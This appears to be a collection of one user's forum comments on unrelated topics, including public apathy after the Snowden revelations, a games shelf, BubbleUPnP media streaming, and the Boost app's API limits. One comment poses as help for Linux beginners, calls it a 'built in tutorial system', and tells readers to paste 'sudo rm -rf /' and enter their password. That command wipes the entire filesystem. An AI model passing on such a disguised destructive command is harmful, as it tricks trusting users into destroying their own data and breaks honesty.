I'm not sure that they ever did.

The turning point for me when I really got a concrete realisation about people absolutely not giving a shit about this was when Snowden came out and I saw the majority of people just go "Eh, that's pretty fucked, whatever", and then immediately jump straight back into scrolling facebook all day long.

I realised then that there probably wasn't any point expecting anything from them. I don't have much sympathy left for people in this regard anymore.

Most people legitimately don't give a shit about this issue. I think that they really should, but they absolutely don't for the most part.

This is what sorting by active fixes.

It's like the old "sort by recent replies" on forums.

I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

1/10 because Perfect Dark and Goldeneye don't have pride of place on the top shelf next to Majoras Mask. Epic fail move right there.

But also, why do you have so many identical copies of the same games? What's the point, or are they different region copies?

Well, fashion's cycled around again and today they'd be wearing the modern style anyway, so don't see why not :p

I'm literally seeing people unironically wearing flares these days where I am. They'd fit right in, depending on the crowd.

If you're on android, look up an app called BubbleUPnP, it will allow you to stream media via standard UPnP protocols to other devices from the phone. I used it with one of my old VR headsets so that I could keep a video library on my phone's 128GB MicroSD card and wirelessly stream movies into a virtual cinema inside the headset (which had almost no free storage, hence this solution).

You should be able to get the same thing to work with a PC.

Ok, I just reported you here on Kbin.social, not sure if it went through though as clicking the button didn't close the report box or anything, but that could just be a missing UI feature.

Gonna have a wild guess here and assume that mutant is on that list.

Probably not tbh, but it's another thing to actually see it there in a permissions list.

I'm pretty sure that none of this is really "news" to anyone. I posted it because it's a slightly more "in your face" view of what we already know.

Oh, I expected absolutely nothing else.

I know that it's just me being cynical, but in my head, there's no way that the "other" category isn't by far the largest one out of them all.

I don't get it, I've seen so many of these posts recently. Why is mine still working?!

I have a theory. Boost is limited to the OAuth threshold for requests. Hits the wall and people get limited. Some of them make posts like this ^, people quit Boost assuming that it's dead, less users brings Boost back under the limit again, people make threads saying Boost works again, people start using Boost again, Boost hits the request wall again and people ge-

Repeat and nauseam.

So confusing.
